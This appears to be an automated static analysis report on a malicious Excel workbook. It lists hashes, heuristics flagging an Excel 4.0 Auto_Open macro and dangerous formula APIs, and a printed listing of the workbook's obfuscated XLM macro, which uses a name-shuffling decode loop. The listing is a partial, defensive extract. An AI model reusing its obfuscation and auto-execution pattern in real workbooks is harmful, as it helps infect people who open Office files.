Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90dd17843f0fa381…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:40:35 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: e317357e0e26c6c137759025afe6cc21 SHA-1: cd744980dabdb995eb637ca47b486bbe4e7dba7d SHA-256: 90dd17843f0fa3811edbd52893cde6cef06a6815804d13a5b3bd92f93dc89d6b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: 0489d78e3beabd49c9ffbc2f2a9f2e013a53472f8283037905bd028eb0a535ac
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nyfeZnFFoa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E186 
' 0018     27 LABEL : Cell Value, String Constant - bONxLsTjVRIX len=0 
' 0018     25 LABEL : Cell Value, String Constant - caWxhgOeCM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Czinh len=0 
' 0018     27 LABEL : Cell Value, String Constant - dCuEdCJFQZsK len=0 
' 0018     23 LABEL : Cell Value, String Constant - DLBbYHwW len=0 
' 0018     21 LABEL : Cell Value, String Constant - FcLLYu len=0 
' 0018     25 LABEL : Cell Value, String Constant - HyDKgBwvlm len=0 
' 0018     20 LABEL : Cell Value, String Constant - iwTXI len=0 
' 0018     25 LABEL : Cell Value, String Constant - iyvrxSWKAR len=0 
' 0018     22 LABEL : Cell Value, String Constant - JZFqSMI len=0 
' 0018     23 LABEL : Cell Value, String Constant - LexRDArH len=0 
' 0018     22 LABEL : Cell Value, String Constant - paWgMJw len=0 
' 0018     24 LABEL : Cell Value, String Constant - rfijtuufG len=0 
' 0018     26 LABEL : Cell Value, String Constant - unZudhUbHHr len=0 
' 0018     20 LABEL : Cell Value, String Constant - Vasil len=0 
' 0018     26 LABEL : Cell Value, String Constant - xmPWmZcurwZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - XydIBstSOoS len=0 
' 0018     20 LABEL : Cell Value, String Constant - YcetZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ygsWD len=0 
' 0018     27 LABEL : Cell Value, String Constant - yKOMyFzxkWaF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nyfeZnFFoa,E95,"SET.NAME("unZudhUbHHr",VALUE("0"))",""
'  nyfeZnFFoa,E98,"SET.NAME("iyvrxSWKAR",unZudhUbHHr)",""
'  nyfeZnFFoa,E100,"SET.NAME("FcLLYu",unZudhUbHHr)",""
'  nyfeZnFFoa,E102,"SET.NAME("dCuEdCJFQZsK",COUNTA(JZFqSMI))",""
'  nyfeZnFFoa,E105,"SET.NAME("iwTXI",COUNTA(rfijtuufG))",""
'  nyfeZnFFoa,E107,[],""
'  nyfeZnFFoa,E109,"SET.NAME("YcetZ","")",""
'  nyfeZnFFoa,E113,"iyvrxSWKAR",""
'  nyfeZnFFoa,E116,"SET.NAME("Vasil",HLOOKUP("*",JZFqSMI,iyvrxSWKAR,FALSE))",""
'  nyfeZnFFoa,E120,"HyDKgBwvlm",""
'  nyfeZnFFoa,E124,"SET.NAME("Czinh",unZudhUbHHr)",""
'  nyfeZnFFoa,E126,[],""
'  nyfeZnFFoa,E130,"Czinh",""
'  nyfeZnFFoa,E135,"DLBbYHwW",""
'  nyfeZnFFoa,E140,"bONxLsTjVRIX",""
'  nyfeZnFFoa,E145,"paWgMJw",""
'  nyfeZnFFoa,E147,"SET.NAME("ygsWD",VALUE(HLOOKUP("*",rfijtuufG,paWgMJw,FALSE)))",""
'  nyfeZnFFoa,E152,"caWxhgOeCM",""
'  nyfeZnFFoa,E157,"YcetZ",""
'  nyfeZnFFoa,E160,"FcLLYu",""
'  nyfeZnFFoa,E165,NEXT(),""
'  nyfeZnFFoa,E168,"yKOMyFzxkWaF",""
'  nyfeZnFFoa,E170,"SET.NAME("f",INT(T(FORMULA(T(YcetZ)&"",""&T(yKOMyFzxkWaF)))))",""
'  nyfeZnFFoa,E173,"xmPWmZcurwZ",""
'  nyfeZnFFoa,E176,NEXT(),""
'  nyfeZnFFoa,E181,RETURN(),""
'  nyfeZnFFoa,E213,"SET.NAME("XydIBstSOoS",E95)",""
'  nyfeZnFFoa,E215,"JZFqSMI",""
'  nyfeZnFFoa,E220,"SET.NAME("rfijtuufG",R89C11)",""
'  nyfeZnFFoa,E224,"SET.NAME("xmPWmZcurwZ",232)",""
'  nyfeZnFFoa,E228,"SET.NAME("LexRDArH",5)",""
'  nyfeZnFFoa,E231,XydIBstSOoS(),""
'  nyfeZnFFoa,E232,HALT(),""

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